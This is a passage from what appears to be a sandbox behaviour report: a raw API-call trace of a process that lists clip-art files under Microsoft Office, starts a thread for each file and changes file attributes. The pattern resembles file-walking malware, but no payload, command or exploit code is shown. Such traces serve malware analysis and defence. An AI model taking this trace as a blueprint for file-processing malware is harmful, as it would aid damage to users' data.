wcscpy (in: _Dest=0x42054da0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.902] wcscat (in: _Dest=0x42054da0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.902] wcscat (in: _Dest=0x42054da0, _Source="HH00057_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" [0152.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0 [0152.903] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af3b00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0af3b00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1 [0152.903] wcscmp (_String1="HH00084_.WMF", _String2=".") returned 1 [0152.903] wcscmp (_String1="HH00084_.WMF", _String2="..") returned 1 [0152.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054e30 [0152.903] wcscpy (in: _Dest=0x42054e30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.903] wcscat (in: _Dest=0x42054e30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.903] wcscat (in: _Dest=0x42054e30, _Source="HH00084_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" [0152.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4 [0152.905] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81f1600, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf81f1600, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1 [0152.905] wcscmp (_String1="HH00231_.WMF", _String2=".") returned 1 [0152.905] wcscmp (_String1="HH00231_.WMF", _String2="..") returned 1 [0152.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054ec0 [0152.905] wcscpy (in: _Dest=0x42054ec0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.905] wcscat (in: _Dest=0x42054ec0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.905] wcscat (in: _Dest=0x42054ec0, _Source="HH00231_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" [0152.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0152.906] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0c84900, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0c84900, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1 [0152.906] wcscmp (_String1="HH00235_.WMF", _String2=".") returned 1 [0152.906] wcscmp (_String1="HH00235_.WMF", _String2="..") returned 1 [0152.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054f50 [0152.907] wcscpy (in: _Dest=0x42054f50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.907] wcscat (in: _Dest=0x42054f50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.907] wcscat (in: _Dest=0x42054f50, _Source="HH00235_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" [0152.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc [0152.907] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf971c00, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf971c00, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1 [0152.907] wcscmp (_String1="HH00236_.WMF", _String2=".") returned 1 [0152.907] wcscmp (_String1="HH00236_.WMF", _String2="..") returned 1 [0152.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054fe0 [0152.908] wcscpy (in: _Dest=0x42054fe0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.908] wcscat (in: _Dest=0x42054fe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.908] wcscat (in: _Dest=0x42054fe0, _Source="HH00236_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" [0152.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0152.911] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd54400, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cd54400, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1 [0152.911] wcscmp (_String1="HH00241_.WMF", _String2=".") returned 1 [0152.911] wcscmp (_String1="HH00241_.WMF", _String2="..") returned 1 [0152.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1ced25c0 [0152.912] wcscpy (in: _Dest=0x1ced25c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.912] wcscat (in: _Dest=0x1ced25c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.912] wcscat (in: _Dest=0x1ced25c0, _Source="HH00241_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" [0152.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced25c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0 [0152.913] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1461c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1461c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1 [0152.913] wcscmp (_String1="HH00260_.WMF", _String2=".") returned 1 [0152.913] wcscmp (_String1="HH00260_.WMF", _String2="..") returned 1 [0152.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1ced2650 [0152.913] wcscpy (in: _Dest=0x1ced2650, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.913] wcscat (in: _Dest=0x1ced2650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.914] wcscat (in: _Dest=0x1ced2650, _Source="HH00260_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" [0152.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced2650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4 [0152.915] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa014ef00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa014ef00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1 [0152.915] wcscmp (_String1="HH00276_.WMF", _String2=".") returned 1 [0152.915] wcscmp (_String1="HH00276_.WMF", _String2="..") returned 1 [0152.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1ced26e0 [0152.915] wcscpy (in: _Dest=0x1ced26e0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.922] wcscat (in: _Dest=0x1ced26e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.922] wcscat (in: _Dest=0x1ced26e0, _Source="HH00276_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" [0152.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced26e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0152.923] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10883400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10883400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1 [0152.923] wcscmp (_String1="HH00334_.WMF", _String2=".") returned 1 [0152.923] wcscmp (_String1="HH00334_.WMF", _String2="..") returned 1 [0152.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1ced2770 [0152.923] wcscpy (in: _Dest=0x1ced2770, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.923] wcscat (in: _Dest=0x1ced2770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.923] wcscat (in: _Dest=0x1ced2770, _Source="HH00334_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" [0152.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced2770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0152.924] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38a5000, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe38a5000, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1 [0152.924] wcscmp (_String1="HH00443_.WMF", _String2=".") returned 1 [0152.925] wcscmp (_String1="HH00443_.WMF", _String2="..") returned 1 [0152.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1ced2800 [0152.925] wcscpy (in: _Dest=0x1ced2800, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.925] wcscat (in: _Dest=0x1ced2800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.925] wcscat (in: _Dest=0x1ced2800, _Source="HH00443_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" [0152.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced2800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0152.926] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cafd00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9cafd00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1 [0152.926] wcscmp (_String1="HH00513_.WMF", _String2=".") returned 1 [0152.926] wcscmp (_String1="HH00513_.WMF", _String2="..") returned 1 [0152.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1ced2890 [0152.927] wcscpy (in: _Dest=0x1ced2890, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.927] wcscat (in: _Dest=0x1ced2890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.927] wcscat (in: _Dest=0x1ced2890, _Source="HH00513_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" [0152.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced2890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0152.928] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6576c00, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6576c00, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1 [0152.928] wcscmp (_String1="HH00524_.WMF", _String2=".") returned 1 [0152.928] wcscmp (_String1="HH00524_.WMF", _String2="..") returned 1 [0152.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1ced2920 [0152.928] wcscpy (in: _Dest=0x1ced2920, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.928] wcscat (in: _Dest=0x1ced2920, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.928] wcscat (in: _Dest=0x1ced2920, _Source="HH00524_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" [0152.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced2920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0152.930] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f51200, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3f51200, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1 [0152.931] wcscmp (_String1="HH00526_.WMF", _String2=".") returned 1 [0152.932] wcscmp (_String1="HH00526_.WMF", _String2="..") returned 1 [0152.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1ced29b0 [0152.932] wcscpy (in: _Dest=0x1ced29b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.932] wcscat (in: _Dest=0x1ced29b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.932] wcscat (in: _Dest=0x1ced29b0, _Source="HH00526_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" [0152.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced29b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0159.674] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c3e500, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2c3e500, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1 [0159.674] wcscmp (_String1="HH00527_.WMF", _String2=".") returned 1 [0159.674] wcscmp (_String1="HH00527_.WMF", _String2="..") returned 1 [0159.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202afa90 [0159.674] wcscpy (in: _Dest=0x202afa90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0159.674] wcscat (in: _Dest=0x202afa90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0159.674] wcscat (in: _Dest=0x202afa90, _Source="HH00527_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" [0159.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202afa90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x285c [0159.675] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c49d600, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c49d600, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1 [0159.744] wcscmp (_String1="HH00546_.WMF", _String2=".") returned 1 [0159.744] wcscmp (_String1="HH00546_.WMF", _String2="..") returned 1 [0159.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050b340 [0159.744] wcscpy (in: _Dest=0x2050b340, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0159.744] wcscat (in: _Dest=0x2050b340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0159.744] wcscat (in: _Dest=0x2050b340, _Source="HH00546_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" [0159.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) [0237.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF", dwFileAttributes=0x20) Thread: id = 321 os_tid = 0xe34 [0088.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79e0f0 [0088.165] wcscpy (in: _Dest=0x1b79e0f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" [0088.165] wcscat (in: _Dest=0x1b79e0f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\" [0088.165] wcscat (in: _Dest=0x1b79e0f0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*" [0088.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce55e10 [0088.165] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d310 [0088.166] wcscmp (_String1=".", 